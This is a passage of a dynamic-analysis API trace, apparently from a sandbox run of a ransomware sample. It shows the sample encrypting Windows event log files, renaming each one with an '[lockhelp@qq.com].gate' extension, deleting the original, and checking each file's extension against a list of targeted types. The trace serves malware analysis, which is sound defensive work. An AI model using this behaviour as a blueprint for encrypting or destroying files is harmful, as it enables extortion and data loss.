dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0276.961] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.961] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.961] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0276.961] GetLastError () returned 0x0 [0276.962] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.063] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.065] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.065] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x130, lpOverlapped=0x0) returned 1 [0277.065] SetEndOfFile (hFile=0x39c) returned 1 [0277.065] CloseHandle (hObject=0x39c) returned 1 [0277.066] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.066] SetEndOfFile (hFile=0x398) returned 1 [0277.067] CloseHandle (hObject=0x398) returned 1 [0277.068] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.068] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0277.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.068] lstrlenW (lpString=".doc") returned 4 [0277.068] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.068] lstrlenW (lpString=".docx") returned 5 [0277.068] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.068] lstrlenW (lpString=".pdf") returned 4 [0277.068] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.068] lstrlenW (lpString=".xls") returned 4 [0277.068] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.068] lstrlenW (lpString=".xlsx") returned 5 [0277.068] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.068] lstrlenW (lpString=".ppt") returned 4 [0277.068] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.068] lstrlenW (lpString=".zip") returned 4 [0277.068] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.068] lstrlenW (lpString=".rar") returned 4 [0277.068] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.069] lstrlenW (lpString=".bz2") returned 4 [0277.069] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.069] lstrlenW (lpString=".7z") returned 3 [0277.069] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.069] lstrlenW (lpString=".dbf") returned 4 [0277.069] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.069] lstrlenW (lpString=".1cd") returned 4 [0277.069] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.069] lstrlenW (lpString=".jpg") returned 4 [0277.069] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.069] lstrlenW (lpString=".doc") returned 4 [0277.069] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.069] lstrlenW (lpString=".docx") returned 5 [0277.069] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.069] lstrlenW (lpString=".pdf") returned 4 [0277.069] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.069] lstrlenW (lpString=".xls") returned 4 [0277.069] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.069] lstrlenW (lpString=".xlsx") returned 5 [0277.069] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.069] lstrlenW (lpString=".ppt") returned 4 [0277.069] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.070] lstrlenW (lpString=".zip") returned 4 [0277.070] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.070] lstrlenW (lpString=".rar") returned 4 [0277.070] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.070] lstrlenW (lpString=".bz2") returned 4 [0277.070] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.070] lstrlenW (lpString=".7z") returned 3 [0277.070] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.070] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.070] lstrlenW (lpString=".dbf") returned 4 [0277.070] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.070] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.070] lstrlenW (lpString=".1cd") returned 4 [0277.070] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.070] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0277.070] lstrlenW (lpString=".jpg") returned 4 [0277.070] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.070] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.070] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0277.070] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0277.070] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0277.070] CloseHandle (hObject=0x398) returned 1 [0277.071] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0277.071] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.071] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0277.071] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.071] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.071] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0277.102] GetLastError () returned 0x0 [0277.102] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.234] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.471] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.471] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x12e, lpOverlapped=0x0) returned 1 [0277.471] SetEndOfFile (hFile=0x39c) returned 1 [0277.471] CloseHandle (hObject=0x39c) returned 1 [0277.473] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.473] SetEndOfFile (hFile=0x398) returned 1 [0277.474] CloseHandle (hObject=0x398) returned 1 [0277.474] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.475] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0277.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.475] lstrlenW (lpString=".doc") returned 4 [0277.475] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.475] lstrlenW (lpString=".docx") returned 5 [0277.475] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.475] lstrlenW (lpString=".pdf") returned 4 [0277.475] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.475] lstrlenW (lpString=".xls") returned 4 [0277.475] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.475] lstrlenW (lpString=".xlsx") returned 5 [0277.475] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.476] lstrlenW (lpString=".ppt") returned 4 [0277.476] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.476] lstrlenW (lpString=".zip") returned 4 [0277.476] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString=".rar") returned 4 [0277.476] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString=".bz2") returned 4 [0277.476] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString=".7z") returned 3 [0277.476] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.476] lstrlenW (lpString=".dbf") returned 4 [0277.476] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.476] lstrlenW (lpString=".1cd") returned 4 [0277.476] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.476] lstrlenW (lpString=".jpg") returned 4 [0277.476] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.476] lstrlenW (lpString=".doc") returned 4 [0277.476] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString=".docx") returned 5 [0277.476] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.476] lstrlenW (lpString=".pdf") returned 4 [0277.476] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString=".xls") returned 4 [0277.476] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.476] lstrlenW (lpString=".xlsx") returned 5 [0277.476] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.476] lstrlenW (lpString=".ppt") returned 4 [0277.476] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.477] lstrlenW (lpString=".zip") returned 4 [0277.477] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.477] lstrlenW (lpString=".rar") returned 4 [0277.477] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.477] lstrlenW (lpString=".bz2") returned 4 [0277.477] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.477] lstrlenW (lpString=".7z") returned 3 [0277.477] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.477] lstrlenW (lpString=".dbf") returned 4 [0277.477] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.477] lstrlenW (lpString=".1cd") returned 4 [0277.477] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0277.477] lstrlenW (lpString=".jpg") returned 4 [0277.477] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.477] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.477] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0277.477] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0277.478] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0277.478] CloseHandle (hObject=0x398) returned 1 [0277.478] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0277.478] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.478] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0277.478] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.478] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.478] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0277.479] GetLastError () returned 0x0 [0277.479] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.688] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.690] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.690] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x126, lpOverlapped=0x0) returned 1 [0277.690] SetEndOfFile (hFile=0x39c) returned 1 [0277.873] CloseHandle (hObject=0x39c) returned 1 [0278.147] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.147] SetEndOfFile (hFile=0x398) returned 1 [0278.167] CloseHandle (hObject=0x398) returned 1 [0278.167] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.167] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0278.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.167] lstrlenW (lpString=".doc") returned 4 [0278.168] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString=".docx") returned 5 [0278.168] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.168] lstrlenW (lpString=".pdf") returned 4 [0278.168] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString=".xls") returned 4 [0278.168] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString=".xlsx") returned 5 [0278.168] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.168] lstrlenW (lpString=".ppt") returned 4 [0278.168] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.168] lstrlenW (lpString=".zip") returned 4 [0278.168] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString=".rar") returned 4 [0278.168] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString=".bz2") returned 4 [0278.168] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString=".7z") returned 3 [0278.168] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.168] lstrlenW (lpString=".dbf") returned 4 [0278.168] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.168] lstrlenW (lpString=".1cd") returned 4 [0278.168] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.168] lstrlenW (lpString=".jpg") returned 4 [0278.168] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.169] lstrlenW (lpString=".doc") returned 4 [0278.169] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.169] lstrlenW (lpString=".docx") returned 5 [0278.169] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.169] lstrlenW (lpString=".pdf") returned 4 [0278.169] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.169] lstrlenW (lpString=".xls") returned 4 [0278.169] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.169] lstrlenW (lpString=".xlsx") returned 5 [0278.169] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.169] lstrlenW (lpString=".ppt") returned 4 [0278.169] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.169] lstrlenW (lpString=".zip") returned 4 [0278.169] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.169] lstrlenW (lpString=".rar") returned 4 [0278.169] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.169] lstrlenW (lpString=".bz2") returned 4 [0278.169] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.169] lstrlenW (lpString=".7z") returned 3 [0278.169] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.169] lstrlenW (lpString=".dbf") returned 4 [0278.169] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.169] lstrlenW (lpString=".1cd") returned 4 [0278.169] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0278.170] lstrlenW (lpString=".jpg") returned 4 [0278.170] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.170] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.170] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0278.170] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0278.170] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0278.171] CloseHandle (hObject=0x398) returned 1 [0278.171] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0278.171] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.171] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0278.171] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.171] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.171] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0278.172] GetLastError () returned 0x0 [0278.172] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.310] WriteFile (in: hFile=0x3d4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.312] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.312] WriteFile (in: hFile=0x3d4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x160, lpOverlapped=0x0) returned 1 [0278.312] SetEndOfFile (hFile=0x3d4) returned 1 [0278.346] CloseHandle (hObject=0x3d4) returned 1 [0278.348] SetFilePointerEx (in: hFile=0x398, 